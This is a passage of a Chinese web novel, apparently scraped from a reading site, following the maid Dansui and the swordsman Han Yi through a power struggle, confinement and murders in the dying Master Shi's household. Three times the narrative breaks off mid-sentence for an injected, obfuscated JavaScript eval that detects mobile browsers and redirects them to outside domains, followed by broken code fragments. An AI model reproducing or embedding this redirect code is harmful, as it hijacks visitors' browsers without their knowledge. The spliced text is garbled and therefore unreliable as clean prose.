丹穗离开轿厅,回议事堂的路上撞上一脸紧张的丫鬟,她挡住人,问:“莺儿,出什么事了?你这是要去哪儿?” “老爷醒了,我去喊太太。” “老爷要见太太?” 丫鬟语迟一瞬,含糊地说:“是的。” 丹穗察觉到不对劲,她让开路,说:“你等一会儿再去,太太在招待贾老爷。我先过去看看。” 丹穗走进议事堂立马发现不对劲,内室的一纸一墨都是她规整的,韩大侠从不会去动室内的摆设,看来是三位姨娘趁她不在的时候在屋里翻找东西了。 “我听说老爷醒了?”丹穗眨了下眼,当做没发现这件事,管她们是争是抢还是偷,反正施家的家财又落不到她头上。 施老爷本闭着眼,听到丹穗的声音,他才睁开眼,他看向床前面目可憎的三个妇人,吃力地憋出一个字:“滚。” “这是怎么了?”丹穗扫过三个姨娘,疑惑道:“姨娘们怎么惹到老爷了?老爷身子弱,你们可别气他,让太太晓得了,她可不会再让你们来伺候。” “想来是我们年老色衰碍人眼,算了,我们先离开吧。”二姨娘往外走。 “我待会儿让丫鬟把煨的粥送来,米粥煨了一夜,米油都煨出来了,丹穗姑娘你喂老爷吃点。”八姨娘说罢也离开。 丹穗应好,她送三个姨娘出门,回过身,她钻进内室拉开屉子检查。 “先前丝行送来的钱引被拿走了。”丹穗说。 施老爷闭了闭眼,他还没死呢,家贼就偷到他眼前来了。 “过、来。”他憋出两个字。 丹穗嫌弃地撇一下嘴,她屏息靠近,凑到老东西身边听他嘱咐藏好他的私章。 施老爷心里清楚他一倒下,家里的牛蛇鬼神都要作乱,丹穗保不住他手上的房契地契,好在各种契纸都在他名下,他不盖章,房产和田产易不了主。 外间,一个丫鬟蹑手蹑脚走进来,她借着屏风的遮挡,试图听清里面的对话。却不知外明里暗,她的影子完完整整落在屏风上。 丹穗盯着屏风上的影子,她不再吭声,施老爷似乎又昏睡过去,室内静悄悄的。 忽的,石园南边传来一阵脚步声,丫鬟忙不迭溜出去,认出来人,她大舒一口气,“韩大侠,您来了。” 丹穗站起身,在脚步声进来时又坐下去。 韩乙脸色铁青地冲进来,看见斜坐在榻上的女子,他神色一僵,要请辞的话怎么也说不出口。 “韩大侠,出什么事了?你脸色这么难看。”丹穗柔柔地问。 “……没什么。”话一出口,韩乙懊恼得恨不得打嘴。 丹穗一言不发地瞧着他。 “……是施老爷的几房小妾去骚扰我,扰得我关上门还不得清净。”韩乙一脸别扭地说,他烦躁地走到自己的罗汉床上坐下,再一次强调:“她们烦人的很,谁能管住她们?施家太太?能不能跟她说?她不会趁机发卖她们吧?” “你还挺为她们着想,不会因此瞧不起她们?”丹穗试探地问,“你以前给人当护院的时候,有没有接触过这种事?” 韩乙沉默了一会儿,他忽略后一个问题,看着她说:“她们要是有个好出身,有亲人护着,怎么都不会沦落到给一个能当爹的老头子当小妾。若是有个好丈夫,她们也不会自甘堕落地做出这种勾当。” 在看清丹穗的境遇后,韩乙对她们这些身不由己的女人多了几分怜悯。两厢对比下,丹穗的日子更艰难,但她却自尊自爱,越发显得她品格贵重。 他看着她的眼睛,丹穗恍惚觉得这番话是对她说的,“她们”或许是“你们”。她眼睛发酸,使劲攥紧拳头才抑制住要掉眼泪的冲动,她别过脸强扯出一个笑,想说什么却又不知道该说什么。 “有人来了。”韩乙偏过头看向门口。 几息的功夫,朱氏的身影出现在门口。 “老爷醒了?我跟他说说话,你俩都出去。”朱氏发话。 “老爷又昏睡过去了。”丹穗说。 “真睡过去了?”朱氏瞥她一眼,她走到床头亲自查看,老东西看样子是真睡过去了,她不信邪,上手狠掐一把。 施老爷眉头一动,但没睁开眼。 “你俩出去。”朱氏再次发话。 韩乙看丹穗一眼,见她往外走,他选择跟上。 “丹穗,韩大侠,过来吃饭。”安翠儿站在角亭里招手,“晌午了,我们拎了饭菜过来,免得你俩腾不开身去厨房。” 韩乙脸色一变,他拔腿就走。 丹穗笑一声,韩乙回头看她,确定笑声是她发出来的,他有些发恼。 丹穗忙收起笑,说:“我去吃饭。” * 内室,朱氏拔下头上的金簪,她握着金簪扎施老爷的头,有头发盖着,她不怕被人发现,下手的动作一下比一下狠,直到昏睡的人挣扎着睁开眼。 “老爷,你精力不济,我长话短说,我说你听着。”朱氏用帕子擦擦金簪,反手插进发间,她坐在床边,面无表情地说:“你眼瞎,领回来一屋的家贼,有儿子的姨娘偷你家财,无所出的姨娘在偷男人。你给你大儿子娶了个才女回来,眼下施继之死了,她屁事管不了,只会哭哭哭。你们父子俩一倒,家里人心乱了,生意上更不用说,依我看不如趁你还清醒着,把家产分一分。” 施老爷闭眼。 朱氏拔下金簪又狠扎他一下,她盯着他怒瞪她的眼笑出声,她握着金簪用簪尾拍他的脸,幽幽地说:“施寅,这个家要靠我撑着了,你好好考虑考虑,给足我想要的,我还能护着你大孙子长大成人。” “滚!” 朱氏脸色一变,“敬酒不吃吃罚酒,就算施继之没死,你以为你能等到他回来?” 施老爷憎恨地看她,他厌恶地唾她一口。 朱氏起身离开,撂下一句她明天再来。走出门,她指派两个下人去屋里盯着,“老爷身边不能再离人,再出现岔子,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203310|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们收拾东西滚蛋。” 角亭里吃饭的四人低着头不敢吭声,四人默念朱氏快滚蛋,偏偏天不如人愿,她走过来了。 “丹穗,那三个老贱人偷走了什么东西?”朱氏问。 “钱引,上个月丝行送来的。”丹穗如实回答。 “要你有什么用,伺候人伺候不好,看门也看不好。”朱氏趁机骂她一顿,她刻薄地说:“还有脸吃饭,我要是你一头扎湖里淹死算了,老爷信任你,你就是这样打理他的事?” 丹穗放下筷子,话到嘴边还是决定咽下这口气,多一事不如少一事。 朱氏见她一副憋屈的样子,心里堵的气一下消了,她看了看安翠儿她们,大发慈悲地放过她们。 等朱氏离开,安翠儿嘟囔着骂:“老贼婆,死的怎么不是她。” “丹穗姑娘,我们姨娘让我给老爷送米粥,交给谁呀?”一个丫鬟提着食盒走进石园。 “我不吃了,先去忙了。”丹穗擦擦嘴,她走下角亭。 施老爷还醒着,丹穗喂他喝小半碗米汤,八姨娘没说谎,这罐米粥熬出米油,米花都烂成糊糊了,看样子是煨了一夜。 喝了粥,施老爷有了些力气,他问:“韩乙呢?” “在护卫院。莺儿,去叫韩大侠过来。”丹穗朝外喊一声。 “王管家呢?”施老爷又问。 丹穗打发另一个小厮去找王管家。 施老爷指了指门外,丹穗了然,她又打发一个丫鬟把食盒给八姨娘送去。 不一会儿,韩乙来了,丹穗安排他坐在外间盯着,她走到床边问:“老爷,有啥安排?” “去找、族里的人,我、要……” “分家产?不等大爷回来?”丹穗接话。 “不,他活着都留给他……”施老爷想起大儿子和年幼的大孙子,脸上淌下一行老泪,继之要是能回来最好,要是回不来,他得为大孙子考虑好。 “拦住他们!” “你们不能进去——” “哎呦!” “让开,不然撞死你们,让你们给你们施老爷陪葬。” 韩乙跑出去,看见一群身材壮硕的大汉抬着一个漆黑的棺材闯进轿厅,施家的下人想拦却拦不住,被踹倒一片。 “站住!”韩乙大喊一声,他看一圈,选中一墩石雕,一把掂起举过头顶,一掷一砸,里里外外都安静了。 丹穗震惊地捂住嘴,她打量着韩大侠的身板,他看着挺清瘦,竟能举起三四百斤的石头。 “少侠好身手,是江湖上的人吧?懂功夫?施寅快死了,你不如去我家做事,他给你多少报酬?我给三倍。”宋老爷开口。 韩乙没搭理,他在人群里扫一圈,愣是没找到主事的人,如果他避开,拦路的活儿又落在丹穗姑娘头上。他暗叹一声,指着棺材说:“怎么抬进来的再怎么抬出去。” “送来的礼哪有带回去的,我听说施家在准备白事,施继之的尸骨沉在海里喂鱼了,想来他是用不上,看来就是施寅快咽气了。我给他送个棺材来,上好的槐木做的,可不便宜。”宋老爷笑呵呵地说。 说罢,他清清嗓,扯着嗓子大声喊:“施寅,听说你怀疑我宋家故意使坏,我特意来解释一下,你大儿子的死真不是我们瞎编的。船上那么多客商,长的都有眼睛,他们亲眼看见施家的商船在海寇的围剿下沉到海里,船上的人都被杀死了,血腥味还招来吃人鲨,一口一个人,胳膊腿在鱼嘴里嚼得脆响。” 话落,棺材落地,唢呐声响,一群声音洪亮地大汉齐声喊:“施寅,该上路了——” 16.关押 唢呐声停,全场寂静无声。 宋老爷蔑视地扫视一圈,轻蔑地说:“主人家不懂礼,客人上门也不露面打个招呼,既然这样,我们就不留下用饭了。我们走。” 施家的下人齐齐看向韩乙,见他没有动作,他们默默退到一旁,让出一条道供凶神恶煞的黑脸汉子们离开。 宋老爷神气十足地离开,留下一口漆黑的大棺材,施家的下人们左看看右看看,都不知道拿这东西怎么办。 “我去问问丹穗姑娘,看她怎么说。”宝柱率先开口。 “等等,问她做什么?施家是没主人还是没管家?”韩乙大马金刀地立在月亮门的门洞里拦路,他不耐烦地说:“找你们家的主事人去。” 丹穗闻言,她默默转身回到议事堂,走进内室一看,施老爷竟没有气晕过去,他睁着俩眼无事人一样躺在床上,似是毫不受外面风波的影响。 “老爷。”她喊一声,又小心翼翼地瞥他一眼,吞吞吐吐地上眼药:“三爷四爷和五爷这两天一直住在家里,刚刚宋老爷来找晦气,没一个人露面,太太和大奶奶也没露面。” 施老爷闻言,眼睛这才转为无神,天要亡他施家,他养了一屋子软骨头没气性的儿子。 丹穗盯着他的神色变化,心里暗暗痛快,她在对面罗汉床上坐下,继续说:“王管家也没露面,不知道他是不是出什么事了。” 施老爷顿时急躁起来,他挣扎着说:“你去打听打听。还有,棺材送回去。” 丹穗察觉到不对劲,宋老爷过来一刺激,老东西说话反而利索起来了?也不结巴了。 石园外的轿厅里,漆黑的棺材还在原地,下人们忙着打扫撞碎的荷花缸,不时用余光扫一眼大厅里的主子。 “宋家跟我们家积了上十年的仇怨,仔细说来是我们施家理亏,老爷当年使计要了人家儿子的命,不怪宋老爷记恨。冤家宜解不宜结,我们眼下谦让一些,总要让人家出这口恶气。”朱氏为今天一家子龟缩着不敢露面寻个冠冕堂皇的理由。 此话一说,三个少爷脸上的不自在劲顿时没了,一向爱蹦哒的四爷连连说:“我也是这样想的,宋老爷今儿明显是来找茬的,我听下人说他带来一帮黑脸汉子,估计就是想来打架的。这要是打起来了,我们两家岂不是又结仇。” 朱氏嫌恶地别开眼,真是蠢货,在座的除了那个低头喝茶的刀客,谁不知他心里的弯弯绕绕。当年施寅使计打死宋老爷的儿子,事后把三个打手送去衙门顶包,今儿宋老爷八成也是想要效仿施寅的做派,施顺之他们只要露头,七天后就要做头七的道场。 韩乙突然起身,他嗤一声,打断施守之滔滔不绝的话,说:“我回议事堂了。” “等等,你带人把棺材抬出去扔了。”朱氏开口。 “就这样扔了?岂不是让外人看笑话?”陈氏插话,她看不过他们一家没骨气的样子,也为跟朱氏拗着来,说:“要是继之在家,他肯定要敲锣打鼓地把棺材送回宋家。” “你看看施继之在不在。”朱氏抬手扫一个圈,挑着眼说:“你把施继之找回来就依你。” “这是你一个当母亲的人该说的话?怪不得老人说后娘心毒,他还没死呢,你就如此薄凉。”陈氏发作,她死死盯着她,出言不讳地质问:“朱氏,你为什么不让我的人出门?” 施顺之他们三个纷纷看向朱氏,还有这事? 朱氏丝毫不慌,她反问回去:“朱氏是你一个当儿媳妇的人能叫的?你娘没教过你?看在她也病歪歪快死的份上,我今天不跟你计较,再有下一次,我一巴掌扇你脸上。” 陈氏气昏了头,她扑打上来,“老虔婆,你咒我娘!你才快死了,死得怎么……” 她被下人按住了,嘴也给捂住了。 朱氏忍着疼发话:“大奶奶得失心疯了,把她送回院里养病,让李大夫去给她看看。” 说罢,她跟三个庶子解释:“陈氏治下不严,她院子里的丫鬟婆子嘴上没把门的,要不是我派人拦着,老爷的情况恐怕人尽皆知,你们施家的族老也早就上门了。” 施顺之他们闻言纷纷说母亲有远见。 石园跟轿厅连接的月亮门处,丹穗蹑手蹑脚地离开,难怪不见王管家的身影,施园已经被朱氏把持住了,里面的消息传不出去,外面的消息也递不进来。 韩乙朝石园方向看一眼。 朱氏走出轿厅,她看着韩乙,说:“今天的事多亏了你出面,否则宋老爷指定要带人闯到老爷床边。你来施家多久了?” “快一个月了。” “那就是一个月。”朱氏从袖中抽出一张钱引递过去,说:“五十贯钱,这个月的月银,先发给你。你拿着这个,可以在平江府任意一家钱庄取铁钱。” 韩乙瞅她一眼,伸手接了过来。 朱氏满意一笑,她又抽出一张钱引递过去,说:“这是一百贯,老爷那儿不用你守着了,你来当护院总管,家里的下人随你使唤。” 韩乙面露犹豫,施老爷那儿好像真用不上他了。不知道是不是他总是昏睡的缘故,也可能是身子虚得快死了,他的头痛病这两天没再犯过。 “拿着。”朱氏手上捏的钱引又往前递一下,说:“守在老爷身边太浪费韩大侠的武力,你们习武之人按说是喜动不喜静,你窝在那个小屋里也憋屈不是。” 韩乙立马想到三个姨娘把他堵在卧房里的事,他打不得她们,骂又骂不过,只能躲了。 “行。”韩乙接过钱引,说:“有我把守,保证不让今天的事再发生。” * 宋老爷没再带人上门,但三天后,施家的族老上门了,大几十人堵在施家的前门,引得过路的人纷纷来围观。 “开门,放人进来。”韩乙说。 “不行,太太没发话,不能放人进来。”门房不听他的吩咐。 朱氏听到消息赶来,她先去议事堂看一眼,老东西昏睡着,她指了指丹穗,骂:“是你干的对吧?我防这么严还让你找到机会往外递信,行,你有本事。来人,把她的嘴给我堵起来,扯去后院关着。” 丹穗没挣扎,她笑了笑,十分配合地咬住帕子,主动出门。 “红缨,你在这儿伺候。”朱氏抚一下鬓角,她离开议事堂去前门。 “开门。”朱氏吩咐,门开,她走上前,微微俯着身子,说:“下人该死,不长眼的东西,竟把九叔公拦在外面。” 为首的老头哼一声,他敲敲龙头拐,一言不发地走进去,后面的人陆陆续续跟上。 朱氏无视各种异样的目光,她吩咐门房关上门,转身时盯韩乙一眼,吃里扒外的东西。 一群人浩浩荡荡往石园去,为首的族老率先进去,没一会儿,内室回荡着“贼妇”“贱妇”的骂声。 “吴大夫,您进来看看。” 朱氏一来就听到这句话,她在心里把丹穗狠骂一通,硬着头皮走进议事堂。 “贼妇!跪下!”拄着龙头拐的老头怒火冲天。 朱氏脸色难看,她没跪,直着身板说:“九叔公想罚侄孙媳妇也该有个名头,我五十岁了,给你们施家添了两个孩子,打理一大家子的嚼头,养儿育女二三十年,你让我当着门外这么多小辈的面跪下,难不成想打我的脸要我的命?我丈夫可还没咽气,由不得你们这么欺负。” “你还有脸提你男人,你男人都要咽气了,你却瞒着我们,你在打着什么主意?”九叔公踉跄着给她一拐,“贼妇你还不给我跪下,你该死。继之出事的消息传回来,我派人上门问,回话的人说是宋家使坏谎报丧事,这是你授的意吧?你还隐瞒施寅的病情!怎么?打算趁这个机会转移家财给你那个带来的儿子?狼子野心,喂不熟的白眼狼,你们母子俩收拾东西都给我滚出去。” 九叔公是施寅他祖父那一辈最小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221192|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个,今年也才七十二,身子还算硬朗,骂起人来中气十足。 “老太爷,施老爷的情况不大好,眼下就是熬日子了,清醒的时候少,昏睡的时候多。”吴大夫把完脉了。 “九叔公,我们移步去轿厅说话,别吵着老爷。他三天前还能吃点东西,经宋文送棺材的事一气,当晚就开始说胡话。他不能再受惊扰,让他安心静养吧,说不定还能熬到继之回来。”朱氏说。 九叔公听这话似乎还有隐情,他按下火气,带人离开议事堂去轿厅。 “怎么不见丹穗姑娘?”施二老爷问。 朱氏没好气地白他一眼,故意骂:“都这个时候了,你还有心思惦记她,你别把你大哥气死了。” 其他人知道施二老爷的德性,经朱氏插科打诨一骂,也就没多问。 朱氏心里模糊有点谱,替丹穗跑腿的八成是施二老爷,至于传信出去的人估计就是韩乙那个吃里扒外的东西。 一群人回到轿厅,三爷四爷和五爷已经斟好了茶,有他们三个佐证,再由朱氏告知施继之可能还没死的消息,以及宋老爷送棺材的事,以担心生意受影响为由,再辅以考虑到施老爷的身体情况,勉强解释清她把持住施家、不让消息外传的原因。 九叔公信了她的话,并嘱咐族人出了这个门不准提及施家的事,他也打算瞒下施寅的身体情况,免得生意上生乱子。 “大嫂,你让丹穗姑娘出来一下,她告诉我我大哥写了遗书,趁族老们都在,把遗书公布一下。”施二老爷说。 朱氏脸上的表情绷不住了,她气得五官扭曲,声音尖利地喊:“什么遗书?你大哥还没死,哪来的遗书?没有遗书,这几天老爷几乎没清醒过,不可能写遗书。都是她诓你的。丹穗昨天晚上就不见了,我也在找她,她卷走丝行上个月送来的钱引跑了。” “你放屁。”韩乙喊,“我今天早上还看见她了,她才不会偷钱引,是你把她关起来了吧?” 说着,他拔腿往议事堂去,朱氏立马喊人去拦,还给他扣上一顶奸夫的帽子。 施顺之他们跟朱氏沆瀣一气,一致咬定家里没有韩乙这个人,还歪曲事实说他是宋家派来要害他们爹的。 施家的族人又开始动摇,朱氏为证清白,她让九叔公留一个族人在施家盯着。 …… 韩乙被赶出施家了。 黄昏时分,他坐在埠口对岸望着浓雾的大宅,对这混乱的一天还有些反应不过来。 “遗书在谁身上?”暗得看不清人影的阁楼里,朱氏掐着丹穗的下巴问。 “在韩大侠身上。”丹穗没有否认有这个东西,她笑着说:“太太,您手上的动作轻点,我要是不痛快,老爷的遗书可就递到衙门的案桌上了。” 朱氏想起早被她赶出门的人,她下意识想让人出去找,但思及韩乙今天的反应,她心里不免存疑。 “你说谎,他已经被我收买了。”朱氏诈她。 “不,他在为我做事,否则给二老爷的信是怎么递出去的?” “贱人!”朱氏气得扇她一巴掌,“你贱不贱?施寅那老东西糟蹋你,你还死心塌地替他办事,跟着我有什么不好?” 丹穗捋一下散落的头发,她平静地说:“等你解决了老爷,下一个就会是我,甚至我会比老爷早死。你说我怎么能助你如愿?” 施寅手头上的地契已经被拿走了一半,她的房间也暗中被搜过好几次,就是不知是几方人马,他们都在找施老爷的私印。 丹穗考虑过把虎头印交出去,但一旦没了这个东西,她也就没了利用价值。施家的家产被瓜分干净后,施继之回来头一个杀的就是她。若是施继之已经死了,她的下场也好不了,她知道施家太多脏事,只能死,死人的嘴最严。 考虑过后,丹穗选择主动动手,先把这池水搅混了。 也赌一把,看韩大侠会不会来救她。 17.死人了 夜深人静时分,一抹黑影从施园西南角的围墙上翻进来,韩乙落地后等了几息,确定大厨房里守夜的丫鬟已经睡熟了,他迅速离开。 穿过黑漆漆的甬道,路过花园时,韩乙停了几瞬,他透过海棠门朝花园北边的走马楼看去,打量一番,他继续前行,前往石园。 石园廊下悬挂的灯笼在寒风中飘摇,影影绰绰的火光如鬼魅的身影在廊下行走,议事堂门外,李大夫站在石阶上左顾右盼。 挨着轿厅的月亮门洞出现窸窣的脚步声,九姨娘披着月白色的斗篷走进石园。 “李郎。” “听雪。”李大夫迎上去,“来的路上没遇到人吧?” “没有,都睡下了。就是遇到了也不妨事,我就说太太安排我来伺候老爷。”九姨娘紧了紧被握住的手,她低声问:“再熬几天,等老爷死了我们就能离开了。” “是啊,快了,等太太和三位爷找到他们想要的东西,老爷也能断气了。”李大夫牵着她的手走进议事堂,说:“今晚你在这儿将就一夜,要不是三爷四爷他们把丹穗住的屋子翻个底朝天,你今晚歇她的屋里也行。” 门关上,屋里的说话声弱了下来,韩乙弯下腰悄悄靠近,他竖耳贴在门上,还想再探听一点消息,没料到黏腻的啧啧口水声灌满耳朵。 真够恶心的,韩乙烦躁得想杀人,又不是畜牲,一点礼义廉耻都不顾。他深吸几口气,走到窗下推开一条缝,施老爷面朝里侧,看不出死活。 “等等。”九姨娘挡住李大夫欲剥衣裳的手,她从他怀里起开,说:“我们也来找找,看能不能在这间屋找到什么机关,要是能找到老爷的私库,随便拿两件金玉之器,我们离开施家也能过上锦衣玉食的日子。” “太太和几个爷已经来翻过几次了,有机关还轮得着你我发现?”李大夫仰倒在圈椅上,他悠闲地敲打椅子,说:“要我说就是丹穗想不开,她要是本本分分把太太想知道的事交代了,哪会沦落到这个地步。对了,她被关在哪儿?” “估计在太太的书房里。” 窗外,蹲守的人悄无声息地离开。 韩乙原路返回,穿过花园前往朱氏住的走马楼,他没来过这里,不知道朱氏住在哪间房,下面的厅门从里面拴上了,他只能爬上廊柱,抓着檐下的横梁跳上飞檐,踩着飞檐靠近阁楼。 阁楼的外廊道嵌着一排只能内开的雕窗,木料厚实孔洞小,手无法伸进去,他费老大的劲才给锯开。 跳进廊道时,巷头人家养的公鸡鸣叫头一声。 廊道里如石园一样悬挂着灯笼,韩乙借着灯光打量一圈,最后目光落在垂着青绸门帘的房门上。 “咔”的一声响,丹穗从昏昏欲睡的状态中惊醒,她看见房门从外面推开,一个高大的人影闪了进来。 门关上,书房又陷入漆黑的夜色中,紧跟着,一簇跳跃的火苗升起,韩乙举着火折子走到丹穗面前。 “睡傻了?”他笑盈盈地问。 随着他蹲下,丹穗看清他的脸庞,被火光照亮,他的眼睛明亮有神。 “没想到你会来找我。”丹穗哑着嗓子低声说。 韩乙打量她一圈,他抽出还沾着木屑的刀割断她手上捆的绳索,顺手摸一把胡乱蒙在她身上的被子,被子轻薄,里面还不是棉的,朱氏没打算冻死她但也没打算让她好过。 “我来带你出去,你跟不跟我走?”他盯着她问。 “跟你走?你要带我一起离开平江城吗?”丹穗激动地问。 韩乙下意识垂下眼,他别开脸说:“平江城很大,有很多你没去过的地方,也有许多你熟悉的地方,我会安置好你再离开平江城。” 丹穗眼里的火苗熄灭了,她垂下头说:“我今晚跟你走,我就是逃奴,甚至会被按上一个跟护院私奔的罪名,一旦被熟人发现,我被施家打死官府都不会管。” 剩下的话丹穗没说出口,韩乙也明白了她的意思,她指望他能带她逃离平江城,可外面战事四起,他都不能保证自己能活到明年还是后年,又哪能保证她能安稳地过完余生。 “出了平江城,你人生地不熟,遇到什么动荡,你求助无门,在平江城有施老爷的面子在,你又有本事,不难寻到一个新东家。”他试图打消她的想法。 丹穗抱着薄被冻得打个哆嗦,她整个人缩进被子里,灰心丧气地说:“罢了,早死晚死的区别罢了。多谢韩大侠今夜能过来,这辈子能遇到一个真心实意怜惜我的人,我也不算白活。” 亲娘卖她为两个兄长换粮食,人牙子图她能卖高价让她吃了三个月的饱饭,朱氏曾夸过她,只为让她伺候好她的儿女,施老爷看重她也不过为了满足他自己的欲望……丹穗悲从心来,她默默掉两滴眼泪,她这一辈子从落地那一刻就开始受苦。 “韩大侠,谢谢你,你是我遇到的人中,第一个不带任何目的肯善待我的。”丹穗盯着被子上洇湿的泪团,低声央求:“你能不能在施家多留些日子?等我死了,你带我的尸体离开,天庆观有两个山头种满了桃花,开花结果时,山风都是香的甜的,我很喜欢,你把我埋在那里。” 火折子灭了,韩乙的脸隐在黑暗中,他想骂她敢托付自己的后事却不敢逃出施家寻找另一条生路,可随即他也明白过来,对于笼中雀来说,她向往离开笼子,更恐惧离开笼子。 书房里安静下来,外面鸡叫第二声了。 许久后,韩乙出声问:“我能帮你什么?你先别急着死,或许施继之还没死,你等他回来。” 丹穗闻言是真绝望了,她默默垂泪,没有说话的欲望。 韩乙在她的抽泣声中陷入挣扎,他试图劝她倒戈,可他比谁都明白,背主的人会不得善终。或则跟朱氏交易销掉丹穗的奴籍?可她脱了籍离开施家又去哪儿才能安稳地度过余生?他绞尽脑汁也找不出一个可托付的人。 思来想去,韩乙明白了,他能救她一时,但救不了她一世,他担负不起她的余生。 他离开走马楼,他接受不了他打开笼子放鸟归林,鸟却死在林子里的结果。 书房门没锁,丹穗如游魂一样走了出去,她站在门口盯着旁边的门,看久了,她似乎能透过门看到朱氏沉睡的样子。她走到廊道里打开一扇雕窗,夜幕漆黑,天上无星也无月,施家大宅淹没在夜色中,看不见一丝轮廓。 廊下的灯笼被风吹动,一抹火光落在丹穗侧脸上,映得她眼睛里也燃起大火,她心底涌现一股暴戾的冲动,老天不肯善待她,她不如做个恶人…… 飞檐上突然冒出个人,韩乙去而复返,他站在飞檐上跟丹穗对视,她离开窗前,他翻窗跳进去。 回到书房里,韩乙取下背的包袱放地上,“我给你拿来厚棉被和吃的喝的,你再坚持两天,我想想法子。” 丹穗身上回暖,心里的戾气迅速收缩,她整个人温顺下来,韩乙恍惚觉得他站在飞檐上的时候看花眼了。 鸡叫三声时,韩乙离开,走时他打算把门窗复原,丹穗没让他弄,她说她来解决。 然而她什么都没动,排窗大敞,她披着锦被站在窗前,看天际一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15227306|164468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点一点染上霞光。 * 红缨打个哈欠从朱氏的卧房出来,先是被寒风一激,不等皱眉她猛地看见不该出现在外面的人,她吓得大叫一声,整座走马楼的人都醒了。 朱氏气急败坏地站在书房里盯着丹穗,丹穗悠闲自在地坐在书桌后斟茶,明晃晃地展示韩乙来过的证据。 “你们想干什么?”朱氏咬牙切齿地问,“我只想拿到我想要的东西,你别逼我要你的命。” “你放心,我三更死,你活不到五更。”丹穗轻笑一声,她拄着下巴托腮,望着朱氏说:“我也不想死,你心里清楚,我守着的不过是我活命的机会。我不妨碍你,你也别在我身上下功夫。” 朱氏眯一下眼,她忍着头痛问:“说清楚点。” “在没确定大爷是死是活之前,你在我这里什么都得不到。”丹穗吐露一句,“你也不用防备我,你不害我我就不会害你,为证明我的话不假,你还继续把我锁在书房里。” 朱氏不信她的话,她眼下遇到的所有的绊子都是丹穗下的。 “太太,施三叔吵着要见大奶奶和大少爷。”丫鬟急匆匆来报。 朱氏心累地闭了闭眼,麻烦这不就来了。 “书房多添两把锁,阁楼上多安排两个婆子守着。”朱氏衡量过后,暂时放过丹穗,走时她朝书桌上瞥一眼,吩咐道:“饭菜给她安排上。” 但送来的饭菜丹穗只吃一顿,她忍饥挨饿把自己弄得狼狈憔悴,甚至在手臂上掐出一朵朵紫淤,在夜里韩乙来送吃食时不着痕迹地露出来。 “王管家死了。”韩乙一来就爆个惊雷。 “他死了?怎么死的?什么时候死的?”丹穗惊得忘了吞咽,“谁杀的他?朱氏?” 韩乙摇头,“死好几天了,死在施家一个庄子上,叫桑榆庄?他儿子昨天找过去才发现那个庄子被难民占了,庄子里的佃农也都被杀了,王管家估计是去办事遭的灾。” 丹穗想起是有这事,王管家跟施老爷汇报情况时,施老爷打发他去报官。 “今天衙门来人了,朱氏焦头烂额的,送走衙门的人,她一整天都守在议事堂。”韩乙跟她汇报白天的情况,见她面色惨白,他让她多吃点。 “你今晚好好睡一觉,我明天跟施二老爷去找施家的族老说明情况。”韩乙安抚她,他琢磨着把朱氏摁倒,放陈氏出来掌家,丹穗的困境就解决了。 丹穗点头,她由着他去折腾,没跟他说施家一族的人跟施园的下人一样都是墙头草,谁许钱许利就倒向哪一方。 韩乙离开,他目前住在施老爷用过的楼舫里,参加商会那天匆匆回来,楼舫停在埠口没再挪动,平日也没人上来,他困了就在里面睡觉。 天蒙蒙亮时,韩乙被一串沉重的脚步声惊醒,他走出舱房偷瞄一眼,看见四个小厮抬着两个麻袋上船,随后开船离开。 楼舫驶离埠口,韩乙看他们在麻袋上捆石头,麻绳勒出来的轮廓让他意识到里面装的是人,人估计已经死了。 捆着石头的麻袋落水,韩乙从船尾悄悄潜下水,等他浮出水面,楼舫已经走远了。 他拖着两个麻袋游上岸,打开一看,里面装着李大夫和九姨娘,二人脖子上鲜红的勒痕显示他们被害没多久。 谁杀的他们?朱氏还是施老爷的儿子们?为什么杀他们?发现他们的奸情?还是另有隐情? 韩乙猛地想起王管家,他的死真是难民所为? 丹穗能不能在施家活下来? “咳——”尸体动了。 18.死了 “太太。”薛大娘走到朱氏身边,她轻声说:“四爷把人处理了,勒死后抛尸沉河。” 朱氏笑一声,这半夜没白熬。 在丹穗被她关起来之后,朱氏特意安排李大夫去守着,果然不出她所料,头一晚赵听雪就忍不住了,深更半夜偷偷溜去议事堂,天色泛亮才回来。昨夜在赵听雪再次夜会李大夫时,她使计引施守之过去,这个性格冲动又自傲的庶子没辜负她的期望,李大夫跟九姨娘在他爹的病床前行苟且之事,他哪能忍下这口气,当场把人勒死,事后还把尸体沉塘,可见他多气愤。 “太太,您这一夜没怎么合眼,要不回屋歇一会儿?”薛大娘问。 朱氏摆手,李大夫死了,施寅没人照顾也就这一两天的事了,她得抓紧时间做她的事。 “王管家的丧仪送过去了?”她问。 